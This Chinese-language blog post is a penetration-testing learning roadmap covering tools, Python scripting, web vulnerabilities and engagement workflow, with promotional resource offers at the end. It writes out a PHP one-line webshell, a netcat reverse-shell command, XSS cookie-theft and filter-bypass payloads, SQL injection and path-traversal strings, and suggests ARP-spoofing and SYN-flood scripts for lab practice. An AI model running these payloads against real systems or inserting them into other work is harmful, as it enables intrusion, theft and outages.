引言
渗透测试工程师的核心是 “模拟黑客攻击,发现安全漏洞,守护网络安全”,本质是 “合法的黑客”。这份路线不堆砌理论,聚焦 “实战能力”,从底层基础到企业级项目流程,全程对标岗位需求,帮你一步步从新手成长为能独立完成渗透测试的工程师。
第一阶段:渗透测试基础筑基(1-2 个月)
核心目标
掌握渗透测试必备的计算机、网络、Web 基础,建立 “系统如何运行、数据如何传输” 的底层认知,为后续学习打牢地基。
一、计算机系统基础:吃透 Linux 与 Windows
渗透测试的靶机、服务器多为 Linux 系统,需优先掌握;Windows 系统作为客户端和服务器的常用系统,也需了解基础操作。
1. Linux 系统(重点:Kali Linux)
学习重点
系统安装与配置:用 VMware 安装 Kali Linux(渗透测试专用系统,预装大量工具),掌握网络配置(静态 IP、DNS 设置)、用户管理(创建 / 删除用户、权限分配)。
核心命令
:
- 文件操作:
ls(查看目录)、cd(切换目录)、mkdir/rm(创建 / 删除)、cp/mv(复制 / 移动)、cat/less(查看文件)。 - 权限管理:
chmod(修改权限,如chmod 777 file)、chown(修改所有者)、sudo(提权)。 - 网络相关:
ifconfig/ip(查看网卡信息)、ping(测试连通性)、netstat(查看端口 / 连接)、ssh(远程连接)。 - 工具相关:
apt-get(安装软件,如apt-get install nmap)、service(管理服务,如service apache2 start)。
- 文件操作:
Shell 脚本入门:编写简单脚本(如批量执行命令、自动化部署工具),理解脚本在渗透中的自动化价值。
实操任务
- 安装 Kali Linux,配置网络使其能访问外网和局域网。
- 用命令完成 “创建文件夹→下载文件→修改权限→查看端口” 的完整流程。
- 写一个 Shell 脚本,批量 ping 测试局域网内 10 台主机的存活状态。
2. Windows 系统
- 学习重点
- 命令行操作:CMD/PowerShell 基础命令(
ipconfig、ping、netstat -ano、tasklist)。 - 系统安全相关:防火墙设置、用户权限管理、服务管理(
services.msc)、日志查看(事件查看器)。
- 命令行操作:CMD/PowerShell 基础命令(
- 实操任务
- 用 PowerShell 查看本地开放的端口及对应进程。
- 配置 Windows 防火墙,禁止特定 IP 访问本机 80 端口。
二、网络基础:搞懂 “数据传输的规则”
网络是渗透测试的 “战场”,所有攻击都基于网络传输,必须吃透 TCP/IP 协议栈和核心概念。
1. 核心概念与协议
学习重点
基础概念:IP 地址(公网 / 私网、IPv4/IPv6)、子网掩码、网关、DNS(域名→IP 解析)、端口(范围 0-65535,常用端口及对应服务:80=HTTP、443=HTTPS、22=SSH、3389=RDP、3306=MySQL)。
TCP/IP 四层模型
:
- 网络层(IP 协议):负责 “路由选择”,确定数据从源 IP 到目标 IP 的路径。
- 传输层(TCP/UDP 协议):TCP 是 “可靠连接”(三次握手建立连接,四次挥手断开),适用于网页、文件传输;UDP 是 “无连接”,适用于视频、游戏,速度快但不可靠。
- 应用层(HTTP/HTTPS/FTP/SMTP):HTTP 是浏览器与服务器的 “通信语言”,明文传输;HTTPS 是 HTTP+SSL/TLS 加密,安全传输;FTP 用于文件上传下载。
数据传输流程:以 “访问www.baidu.com” 为例,拆解 “输入域名→DNS 解析→TCP 三次握手→发送 HTTP 请求→服务器响应→TCP 四次挥手” 的完整过程。
实操任务
- 用
nslookup命令查询百度的 IP 地址,理解 DNS 解析过程。 - 用 Wireshark 抓包,过滤出 TCP 包,找到 “三次握手” 和 “四次挥手” 的数据包,分析各字段含义。
- 用
三、Web 基础:理解 “网站的构成”
Web 渗透是渗透测试的核心方向,需先懂网站的底层架构和运行逻辑。
1. 学习重点
- 网站架构:客户端(浏览器)→服务器(Web 服务器:Apache/Nginx/IIS)→数据库(MySQL/MSSQL/Oracle)。
- Web 技术栈:
- 前端:HTML(页面结构)、CSS(样式)、JavaScript(交互逻辑),理解前端代码如何与后端交互。
- 后端:动态语言(PHP/Java/Python/ASP.NET),知道 “后端接收前端请求→处理逻辑→操作数据库→返回响应” 的流程。
- 数据库:SQL 基础(查询
select、插入insert、更新update、删除delete),理解网站数据如何存储和读取。
- 实操任务
- 用浏览器 F12 查看网页的 HTML/CSS/JS 代码,找到一个登录页面的表单提交地址。
- 安装 PHPStudy,搭建本地 Web 环境,运行一个简单的 PHP 登录脚本(连接 MySQL 数据库,实现账号密码验证)。
阶段资源与目标
资源推荐
:
- Linux:B 站《Kali Linux 从入门到精通》、书籍《Linux 命令行与 Shell 脚本编程大全》。
- 网络:B 站《湖科大计算机网络微课堂》、书籍《图解 TCP/IP》。
- Web:B 站《PHP 入门到精通》、W3School 官网(HTML/CSS/JS 教程)。
阶段目标
:
- 能独立操作 Kali Linux,熟练使用 30 + 核心命令;懂 Windows 命令行基础操作。
- 能清晰解释 TCP 三次握手、HTTP 请求流程;会用 Wireshark 分析简单数据包。
- 能搭建本地 Web 环境,理解前端、后端、数据库的交互逻辑。
第二阶段:渗透测试核心工具精通(2-3 个月)
核心目标
掌握渗透测试全流程的 8 款核心工具,从 “信息收集→漏洞扫描→漏洞利用→权限维持”,能独立用工具完成基础渗透操作。
一、信息收集工具:摸清目标 “底细”
信息收集是渗透测试的第一步,目标是获取 “目标 IP、域名、端口、服务、目录、员工信息” 等,为后续攻击找突破口。
1. Nmap(网络扫描神器)
- 核心用途:探测目标主机存活状态、开放端口、运行服务及版本、操作系统类型。
- 必学命令
- 基础扫描:
nmap 目标IP(扫描常用端口,默认 1000 个)。 - 全端口扫描:
nmap -p 1-65535 目标IP(扫描所有端口,信息更全)。 - 服务版本探测:
nmap -sV 目标IP(识别端口对应的服务版本,如 “Apache 2.4.41”)。 - 操作系统探测:
nmap -O 目标IP(猜测目标操作系统,如 “Windows 10”)。 - 网段扫描:
nmap 192.168.1.1/24(扫描整个网段的存活主机)。
- 基础扫描:
- 实操场景:用 Nmap 扫描本地 VMware 中的靶机(如 Metasploitable2),记录开放的端口、服务及版本。
2. 子域名挖掘工具(Layer 子域名挖掘机 / OneForAll)
- 核心用途:挖掘目标主域名下的子域名(如主域
baidu.com,子域map.baidu.com),扩大渗透范围。 - 必学操作
- Layer 子域名挖掘机:输入主域名,选择 “字典扫描 + 搜索引擎扫描”,导出子域名列表。
- OneForAll(Python 工具):通过命令行运行,支持多源数据采集,挖掘效率更高。
- 实操场景:挖掘
test.com(本地测试域名)的子域名,验证子域名对应的 IP 是否可访问。
3. 目录扫描工具(Dirsearch/Gobuster)
- 核心用途:扫描网站隐藏目录和文件(如
/admin后台、/backup.zip备份文件),寻找敏感信息。 - 必学操作
- Dirsearch(Python 工具):命令
python dirsearch.py -u 目标URL -w 字典路径(字典用 SecLists 中的directory-list-2.3-small.txt)。 - 结果解读:根据响应状态码判断(200 = 存在,404 = 不存在,302 = 跳转)。
- Dirsearch(Python 工具):命令
- 实操场景:扫描本地搭建的 Web 网站,找到
/admin后台登录页面和/config.php配置文件。
二、Web 渗透工具:突破 Web 应用防线
Web 应用是渗透测试的主要目标,需掌握抓包、漏洞扫描、暴力破解等核心工具。
1. Burp Suite(Web 渗透瑞士军刀)
核心用途:抓包修改 HTTP 请求、漏洞扫描、暴力破解、SQL 注入测试,是 Web 渗透的 “核心工具”。
必学模块与操作
Proxy(代理):配置浏览器代理(127.0.0.1:8080),捕获 HTTP/HTTPS 请求,查看请求头、请求体、响应内容。
Intruder(爆破)
:用于暴力破解登录密码、API 接口参数爆破,需掌握:
- 设置 “攻击类型”(Sniper:单参数爆破;Battering Ram:多参数相同 payload;Pitchfork:多参数对应 payload;Cluster Bomb:多参数组合 payload)。
- 加载 “payload 字典”(如账号字典、密码字典),执行爆破并分析结果。
Scanner(扫描器):开启主动扫描,自动检测 SQL 注入、XSS、CSRF 等 Web 漏洞(社区版功能有限,可先用免费插件补充)。
Repeater(重放):修改抓包后的请求参数(如
id=1改为id=2),重复发送请求,验证参数篡改是否存在漏洞。
实操场景:用 Burp Suite 捕获本地 Web 登录页面的请求,用 Intruder 模块爆破管理员账号密码(账号字典
admin,密码字典123456)。
2. SQLMap(SQL 注入神器)
- 核心用途:自动检测和利用 SQL 注入漏洞,获取数据库权限、导出数据。
- 必学命令
- 基础检测:
sqlmap -u "目标URL?id=1"(检测 URL 中的id参数是否存在 SQL 注入)。 - 获取数据库:
sqlmap -u "目标URL?id=1" --dbs(列出所有数据库)。 - 获取表名:
sqlmap -u "目标URL?id=1" -D 数据库名 --tables(列出指定数据库的表)。 - 导出数据:
sqlmap -u "目标URL?id=1" -D 数据库名 -T 表名 --dump(导出指定表的数据)。 - 绕过防护:
sqlmap -u "目标URL?id=1" --random-agent --delay 1(用随机 User-Agent、延迟请求绕过 WAF)。
- 基础检测:
- 实操场景:在 SQLi-Labs 靶场的 Less-1 页面,用 SQLMap 检测并利用 SQL 注入,导出
users表的账号密码。
三、漏洞利用与权限维持工具
1. Metasploit Framework(MSF,漏洞利用框架)
- 核心用途:集成全球主流漏洞的利用模块、攻击载荷(Payload),快速验证漏洞是否可利用,获取目标主机权限。
- 必学操作流程
- 启动 MSF:命令
msfconsole。 - 搜索模块:
search 漏洞名称(如search ms17_010,搜索永恒之蓝漏洞模块)。 - 加载模块:
use 模块路径(如use exploit/windows/smb/ms17_010_eternalblue)。 - 查看参数:
show options(查看需要设置的参数,如 RHOSTS = 目标 IP)。 - 设置参数:
set RHOSTS 目标IP、set LHOST 本地IP(反弹连接时需设置)。 - 执行攻击:
run或exploit,成功后获取目标 Shell。
- 启动 MSF:命令
- 实操场景:用 MSF 的 “永恒之蓝” 模块攻击 Metasploitable2 靶机,获取 Linux Shell 权限。
2. 蚁剑 / 菜刀(Web 后门管理工具)
- 核心用途:连接 Web 后门(如一句话木马),管理目标服务器(上传 / 下载文件、执行命令、查看数据库)。
- 必学操作
- 生成一句话木马:PHP 版本
<?php @eval($_POST['pass']);?>(密码为pass)。 - 上传木马:通过文件上传漏洞将木马上传到目标网站。
- 连接木马:打开蚁剑,添加 “连接”,输入 URL(如
http://目标IP/shell.php)、密码pass,测试连接成功后管理服务器。
- 生成一句话木马:PHP 版本
- 实操场景:在 DVWA 靶场的 “文件上传” 模块(Low 难度),上传一句话木马,用蚁剑连接并获取服务器文件列表。
阶段资源与目标
资源推荐
:
- 工具教程:B 站《Burp Suite 新手到大神》《SQLMap 实战教程》《Metasploit 框架入门》。
- 字典资源:SecLists(GitHub 开源字典库,包含目录、密码、payload 等)。
阶段目标
:
- 能独立用 Nmap 扫描目标网络、用 Layer 挖掘子域名、用 Dirsearch 扫描网站目录。
- 能熟练使用 Burp Suite 抓包、爆破、重放请求;能用 SQLMap 自动利用 SQL 注入漏洞。
- 能通过 MSF 利用简单漏洞获取靶机权限;能用蚁剑管理 Web 后门。
第三阶段:编程能力赋能(2-3 个月)
核心目标
掌握 Python 编程,能编写渗透脚本解决实际问题,从 “用工具” 升级为 “懂工具原理、改工具逻辑、造工具”,提升渗透效率。
一、Python 核心学习(聚焦渗透场景)
Python 是渗透测试的首选语言,语法简洁、库丰富,能快速实现各类渗透功能。
1. Python 基础语法(1 个月)
- 学习重点
- 核心语法:变量、数据类型(字符串、列表、字典、元组)、条件判断(if-else)、循环(for/while)、函数、类与对象、异常处理(try-except)。
- 文件操作:读取 / 写入文本文件(如保存扫描结果、加载字典)。
- 正则表达式:用
re库匹配 IP、端口、URL 等敏感信息(如从网页源码中提取所有链接)。
- 实操任务
- 写一个函数,接收 IP 地址和端口列表,返回存活的端口(用
ping命令判断)。 - 写一个脚本,读取 Nmap 扫描结果文件,提取所有开放 80 端口的 IP 地址,保存到
http_ip.txt。
- 写一个函数,接收 IP 地址和端口列表,返回存活的端口(用
2. 渗透相关 Python 库(1-2 个月)
学习重点
requests库:发送 HTTP/HTTPS 请求,实现 Web 渗透功能。
- 实操:编写 “Web 目录扫描器”(遍历字典中的目录路径,用
requests.get发送请求,根据状态码判断目录是否存在)。
- 实操:编写 “Web 目录扫描器”(遍历字典中的目录路径,用
socket库:网络编程,实现底层网络交互。
- 实操:编写 “多线程端口扫描器”(创建 socket 连接,尝试连接目标端口,判断是否开放;用多线程提升扫描速度)。
scapy库:构造和解析网络数据包,实现高级网络攻击。
- 实操:编写 “ARP 欺骗脚本”(向局域网内目标主机发送伪造 ARP 包,欺骗网关,获取目标流量)。
BeautifulSoup库:解析 HTML 页面,提取有用信息(如链接、表单、敏感数据)。
- 实操:编写 “网页敏感信息爬虫”(爬取目标网站的所有链接和邮箱地址)。
3. 脚本优化与实战
- 学习重点
- 多线程 / 多进程:用
threading/multiprocessing库优化脚本(如多线程端口扫描、多线程目录扫描,提升效率)。 - 命令行参数:用
argparse库给脚本添加命令行参数(如python scanner.py -u 目标URL -w 字典路径),模拟专业工具的使用方式。 - 开源脚本二次开发:找 GitHub 上的简单渗透脚本(如简易端口扫描器),修改功能(如增加结果导出、多线程支持)。
- 多线程 / 多进程:用
- 实操任务
- 优化 “Web 目录扫描器”,添加多线程支持和命令行参数,支持自定义字典路径、线程数、超时时间。
- 基于
scapy库,编写一个简单的 SYN Flood 攻击脚本(理解 DDoS 攻击的基本原理,仅在本地靶机测试)。
阶段资源与目标
资源推荐
:
- 基础:书籍《Python 编程:从入门到实践》、B 站《黑马程序员 Python 教程》。
- 进阶:书籍《Python 网络编程攻略》、GitHub 开源渗透脚本库(搜索 “Python Penetration Testing”)。
阶段目标
:
- 熟练掌握 Python 基础语法,能独立编写简单脚本解决渗透中的小问题。
- 会用
requests/socket/scapy库实现目录扫描、端口扫描、数据包构造等功能。 - 能优化现有脚本,添加多线程、命令行参数,提升实用性。
第四阶段:核心漏洞实战(2-3 个月)
核心目标
掌握渗透测试中最常见的 8 类漏洞的原理、利用方法、绕过技巧,通过靶场实战积累经验,能独立发现并利用漏洞。
一、Web 漏洞实战(重点,占渗透测试 70% 以上)
Web 漏洞是渗透测试的核心,优先掌握以下 6 类高频漏洞。
1. SQL 注入漏洞
- 漏洞原理:攻击者在输入框(登录框、搜索框)或 URL 参数中注入 SQL 语句,篡改数据库查询逻辑,获取敏感数据或操控数据库。
- 学习重点
- 注入点识别:通过输入
'(单引号)、and 1=1/and 1=2、or 1=1等特殊字符,观察页面响应判断是否存在注入。 - 注入类型:
- 联合查询注入(
union select):适用于有回显的场景,用于查询数据库名、表名、字段名、数据。 - 时间盲注(
if(条件,sleep(5),0)):适用于无回显的场景,通过延迟判断条件是否成立。 - 报错注入(
updatexml/extractvalue):通过触发数据库报错,显示敏感数据。
- 联合查询注入(
- 绕过技巧:大小写绕过(
Union Select)、注释绕过(--+/#)、编码绕过(URL 编码、Unicode 编码)、关键字替换(and→&&)。
- 注入点识别:通过输入
- 靶场练习:SQLi-Labs(1-20 关,从简单联合查询到盲注、报错注入)、DVWA(SQL Injection 模块,从 Low 到 High 难度)。
2. XSS 跨站脚本漏洞
- 漏洞原理:攻击者在网页中注入恶意 JavaScript 代码,当用户访问页面时,代码执行,可窃取 Cookie、伪造操作、钓鱼等。
- 学习重点
- 漏洞分类:
- 存储型 XSS:代码存入数据库(如留言板、评论区),所有访问页面的用户都会触发。
- 反射型 XSS:代码在 URL 中(如搜索框),仅点击恶意 URL 的用户触发。
- DOM 型 XSS:通过操作 DOM 树执行代码,与服务器无关,仅在客户端触发。
- 利用方法:注入
<script>alert(document.cookie)</script>窃取 Cookie;注入钓鱼表单获取账号密码;注入img src=x onerror=xxx绕过过滤。 - 绕过技巧:标签变形(
<scr<script>ipt>)、事件触发(onload/onclick/onerror)、编码绕过(HTML 实体编码、JS 编码)。
- 漏洞分类:
- 靶场练习:DVWA(XSS 模块)、XSS-Lab(1-10 关,覆盖各类 XSS 场景)。
3. 文件上传漏洞
- 漏洞原理:网站文件上传功能未做严格验证,攻击者上传恶意脚本文件(如
.php后门),通过访问文件获取服务器权限。 - 学习重点
- 绕过验证方式:
- 后缀名绕过:用
.php5/.phtml/.php.(空格)等绕过黑名单验证;修改后缀为.jpg上传后,用 Burp 修改回.php。 - MIME 类型绕过:上传时用 Burp 修改
Content-Type(如image/jpeg改为text/php),绕过前端 MIME 验证。 - 内容绕过:在 PHP 脚本前添加图片头(
GIF89a),制作 “图片马”,绕过内容检测。
- 后缀名绕过:用
- 漏洞利用:上传一句话木马,用蚁剑 / 菜刀连接;上传 webshell(如 PHP 一句话、ASP 后门),获取服务器权限。
- 绕过验证方式:
- 靶场练习:DVWA(File Upload 模块)、Upload-Lab(1-20 关,覆盖各类绕过场景)。
4. CSRF 跨站请求伪造漏洞
- 漏洞原理:攻击者构造恶意请求,诱导已登录的用户点击,利用用户的登录状态执行未授权操作(如修改密码、转账、发帖)。
- 学习重点
- 漏洞识别:判断请求是否依赖 Cookie 认证,且未验证
Referer(请求来源)或使用Token(随机令牌)防护。 - 利用方法:构造 HTML 表单(自动提交)或图片标签,模拟用户提交请求;诱导用户访问恶意页面,触发请求。
- 绕过技巧:利用
Referer过滤不严(如仅验证包含目标域名),构造包含目标域名的恶意页面;利用 Flash 跨域漏洞绕过Referer验证。
- 漏洞识别:判断请求是否依赖 Cookie 认证,且未验证
- 靶场练习:DVWA(CSRF 模块)、OWASP WebGoat(CSRF 章节)。
5. 命令注入漏洞
- 漏洞原理:网站后端未对用户输入进行过滤,直接将输入作为系统命令执行,攻击者通过注入命令分隔符(
&/&&/;/|)执行恶意命令。 - 学习重点
- 漏洞识别:找到可能执行系统命令的功能(如 ping 测试、文件备份),输入
127.0.0.1 & whoami,观察是否返回当前用户。 - 常用命令:
whoami(查看当前用户)、ipconfig/ifconfig(查看网络)、ls/dir(查看目录)、nc -e /bin/bash 攻击机IP 端口(反弹 Shell)。 - 绕过技巧:空格绕过(用
${IFS}代替空格)、关键字绕过(用whoa\mi绕过whoami过滤)、编码绕过(Base64 编码命令后执行)。
- 漏洞识别:找到可能执行系统命令的功能(如 ping 测试、文件备份),输入
- 靶场练习:DVWA(Command Injection 模块)、Metasploitable2(Samba 服务命令注入)。
6. 目录遍历漏洞
- 漏洞原理:网站未对用户输入的文件路径进行严格过滤,攻击者通过
../(向上跳转目录)访问服务器上的敏感文件(如/etc/passwd、C:\Windows\system32\config\SAM)。 - 学习重点
- 漏洞识别:找到文件读取功能(如查看日志、下载文件),在路径后添加
../,如?file=../etc/passwd,观察是否能读取文件。 - 利用方法:多层
../跳转(如../../../../etc/passwd),直到找到敏感文件;结合操作系统特性(Linux 用/根目录,Windows 用C:\)。 - 绕过技巧:编码绕过(
../编码为%2e%2e%2f)、双写绕过(....//被过滤后变为../)。
- 漏洞识别:找到文件读取功能(如查看日志、下载文件),在路径后添加
- 靶场练习:DVWA(File Inclusion 模块,文件包含漏洞与目录遍历原理类似)、OWASP WebGoat。
二、系统与内网漏洞实战(入门级)
除 Web 漏洞外,系统漏洞和内网漏洞在渗透测试中也很常见,需掌握基础原理和利用方法。
1. 系统漏洞(以 Windows 为例)
- 学习重点:了解常见系统漏洞(如 MS17-010 永恒之蓝、CVE-2021-34527 PrintNightmare)的影响范围和利用方式;用 MSF 加载对应模块,获取目标系统权限。
- 实操场景:用 MSF 的
exploit/windows/smb/ms17_010_eternalblue模块攻击 Windows 7 靶机,获取 System 权限。
2. 内网渗透基础(入门)
- 学习重点:了解内网渗透的核心思路(横向移动、权限提升);掌握基础工具(如
ipconfig/ifconfig查看内网网段、arp -a查看内网主机、net view查看共享资源)。 - 实操场景:在 VMware 中搭建简单内网环境(1 台攻击机 Kali、2 台靶机 Windows 7),通过已获取权限的靶机,扫描内网其他主机,尝试横向移动。
阶段资源与目标
资源推荐
:
- 漏洞教程:书籍《Web 渗透测试实战》、FreeBuf 官网(漏洞分析文章)、OWASP Top 10(Web 安全漏洞排名,聚焦高频漏洞)。
- 靶场:SQLi-Labs、Upload-Lab、DVWA、Metasploitable2、VulnStack(内网渗透靶场)。
阶段目标
:
- 掌握 SQL 注入、XSS、文件上传等 6 类 Web 漏洞的原理、利用和绕过方法。
- 能独立完成 SQLi-Labs、Upload-Lab 全关卡练习;能在 DVWA 中完成所有漏洞模块的测试(Low 到 High 难度)。
- 了解常见系统漏洞的利用方式;能完成简单的内网扫描和横向移动尝试。
第五阶段:渗透测试全流程实战(1-2 个月)
核心目标
掌握企业级渗透测试的完整流程,从 “项目启动→信息收集→漏洞挖掘→漏洞利用→权限提升→内网渗透→报告编写”,能独立完成中小型项目的渗透测试。
一、渗透测试全流程拆解
1. 阶段 1:项目准备与信息收集(1-3 天)
- 核心任务
- 明确测试范围:获取客户授权的测试目标(IP 段、域名、系统),避免越权测试。
- 信息收集(全面):
- 公开信息:通过 Whois 查询域名注册信息、通过 Shodan 搜索目标设备、通过 GitHub 搜索目标源码泄露。
- 网络信息:用 Nmap 扫描目标网段,获取存活主机、端口、服务;用 Layer 挖掘子域名,拓展测试范围。
- Web 信息:用 Dirsearch 扫描目录,寻找后台、备份文件;用 Burp 爬取网站链接,分析网站结构;查看
robots.txt文件,获取禁止访问的目录。
2. 阶段 2:漏洞扫描与挖掘(3-5 天)
- 核心任务
- 自动化扫描:用 Nessus(漏洞扫描器)、AWVS(Web 漏洞扫描器)对目标进行自动化扫描,生成初步漏洞报告。
- 手动挖掘:针对自动化扫描的结果,手动验证漏洞真实性;针对 Web 应用,手动测试 SQL 注入、XSS、文件上传等漏洞(自动化工具可能漏扫或误报)。
- 漏洞优先级划分:根据漏洞危害程度(高危 / 中危 / 低危)和可利用性,优先测试高危漏洞(如远程代码执行、SQL 注入)。
3. 阶段 3:漏洞利用与权限提升(3-5 天)
- 核心任务
- Web 漏洞利用:利用 SQL 注入获取数据库数据;利用文件上传上传后门,获取 WebShell;利用命令注入执行系统命令。
- 权限提升:从 WebShell 权限(低权限)提升到系统管理员权限(高权限),常用方法:
- Linux:利用 SUID 文件、内核漏洞(如 Dirty COW)提权。
- Windows:利用系统漏洞(如 MS17-010)、窃取密码哈希(如 Mimikatz)提权。
- 内网渗透(若授权):
- 横向移动:利用内网扫描工具(如 Empire、Cobalt Strike)扫描其他主机,通过密码复用、漏洞利用获取其他主机权限。
- 权限维持:在目标主机上留下后门(如 Linux 的 SSH 公钥、Windows 的注册表后门),方便后续访问。
4. 阶段 4:报告编写与复盘(2-3 天)
- 核心任务
- 编写渗透测试报告:报告需包含 “测试概述、信息收集结果、漏洞详情、修复建议、风险等级”,语言需专业且易懂,让客户能看懂并落地修复。
- 漏洞详情模板:
- 漏洞名称:SQL 注入漏洞(高危)。
- 漏洞位置:
http://目标URL/login.php?id=1。 - 漏洞描述:该参数未对用户输入进行过滤,可注入 SQL 语句获取数据库数据。
- 利用过程:附截图(注入语句、返回结果)。
- 修复建议:使用预处理语句(如 PHP 的 PDO)、过滤特殊字符、限制数据库用户权限。
- 项目复盘:总结测试过程中遇到的问题、未利用成功的漏洞原因,优化测试方法。
二、实战靶场推荐(模拟企业环境)
| 靶场名称 | 特点 | 适合场景 | 获取方式 |
|---|---|---|---|
| Hack The Box(HTB) | 在线靶场,模拟真实企业环境 | 全流程渗透测试实战 | 注册账号,在线访问 |
| VulnStack | 内网渗透靶场,多层架构 | 内网渗透、权限提升实战 | 官网下载,虚拟机部署 |
| TryHackMe | 新手友好,分模块练习 | 全流程入门实战 | 注册账号,在线访问 |
阶段资源与目标
资源推荐
:
- 流程教程:书籍《渗透测试实战指南》、B 站《企业级渗透测试全流程实战》。
- 报告模板:CSDN、FreeBuf 上的公开渗透测试报告模板;Nessus、AWVS 生成的报告模板。
阶段目标
:
- 能独立完成 HTB/TryHackMe 上的中等难度靶机全流程渗透(从信息收集到权限获取)。
- 能在 VulnStack 靶场中完成内网渗透(横向移动、权限提升)。
- 能编写专业的渗透测试报告,包含漏洞详情、利用过程和修复建议。
第六阶段:职业进阶与求职准备(持续进行)
核心目标
明确职业发展路径,通过证书、项目经验提升竞争力,成功入职渗透测试岗位。
一、必备证书(提升求职竞争力)
| 证书名称 | 难度 | 含金量 | 适合阶段 |
|---|---|---|---|
| CEH(国际注册道德黑客) | 中等 | 入门级,全球认可 | 新手入门后考取 |
| OSCP(Offensive Security Certified Professional) | 较高 | 实战型,行业认可度高 | 有一定实战经验后考取 |
| CISAW(注册信息安全专业人员) | 中等 | 国内认可,适合国企 / 央企 | 计划进入国内企业考取 |
| eWPT(eLearnSecurity Web Penetration Tester) | 中等 | Web 渗透专项,实战性强 | 专注 Web 渗透方向考取 |
二、求职准备与职业发展
1. 求职准备
- 简历优化:突出实战经验(如 “独立完成 XX 靶场全流程渗透”“参与 XX 企业渗透测试项目”)、技能掌握(工具、漏洞、编程)、证书(如有)。
- 技术面试准备:
- 基础问题:TCP 三次握手、SQL 注入原理、XSS 分类及防范。
- 实战问题:“如何挖掘一个网站的漏洞?”“遇到 WAF 如何绕过?”“Linux 提权的常用方法有哪些?”
- 实操面试:部分公司会安排靶场实操,要求在规定时间内完成漏洞挖掘和利用,需提前在 HTB、TryHackMe 上练习。
2. 职业发展路径
- 初级渗透测试工程师→中级渗透测试工程师→高级渗透测试工程师
- 初级(0-1 年):协助完成信息收集、漏洞扫描、报告编写;能独立测试简单 Web 漏洞。
- 中级(1-3 年):独立完成中小型渗透测试项目;能解决复杂漏洞利用和内网渗透问题。
- 高级(3-5 年):负责大型项目或专项测试(如移动安全、工控安全);指导初级工程师;参与漏洞挖掘和工具开发。
- 横向发展方向
- 安全开发工程师:开发安全工具、WAF、漏洞扫描器,需强化编程能力(Python/Java/C++)。
- 应急响应工程师:处理企业安全事件(如黑客攻击、数据泄露),需掌握日志分析、恶意代码分析能力。
- 安全架构师:设计企业安全防护体系,需具备全面的安全知识和项目管理能力。
阶段资源与目标
资源推荐 :
- 求职:BOSS 直聘、拉勾网(搜索 “渗透测试工程师” 岗位,查看岗位需求);GitHub(搜索 “渗透测试面试题”)。
- 进阶学习:《内网渗透测试实战》《Metasploit 渗透测试指南》、安全会议演讲(Black Hat、DEF CON)。
阶段目标
:
- 考取 1-2 个入门级证书(如 CEH、CISAW)。
- 优化简历,准备技术面试,成功投递并入职渗透测试相关岗位。
- 明确职业发展方向,制定长期学习计划(如深耕 Web 渗透或转型安全开发)。
总结
从 0 到 1 成为渗透测试工程师,本质是 “基础→工具→编程→漏洞→流程→职业” 的层层递进,没有捷径,但每一步都有明确的目标和方法。关键是 “多实操、多总结”—— 工具要亲手用,漏洞要亲手测,脚本要亲手写,靶场要亲手打。记住:渗透测试的核心是 “守护安全”,始终在合法授权的范围内操作,守住法律和伦理底线,才能在这个领域走得长远。
网络安全学习路线&学习资源![]()
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
网络安全学习路线&学习资源![]()
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
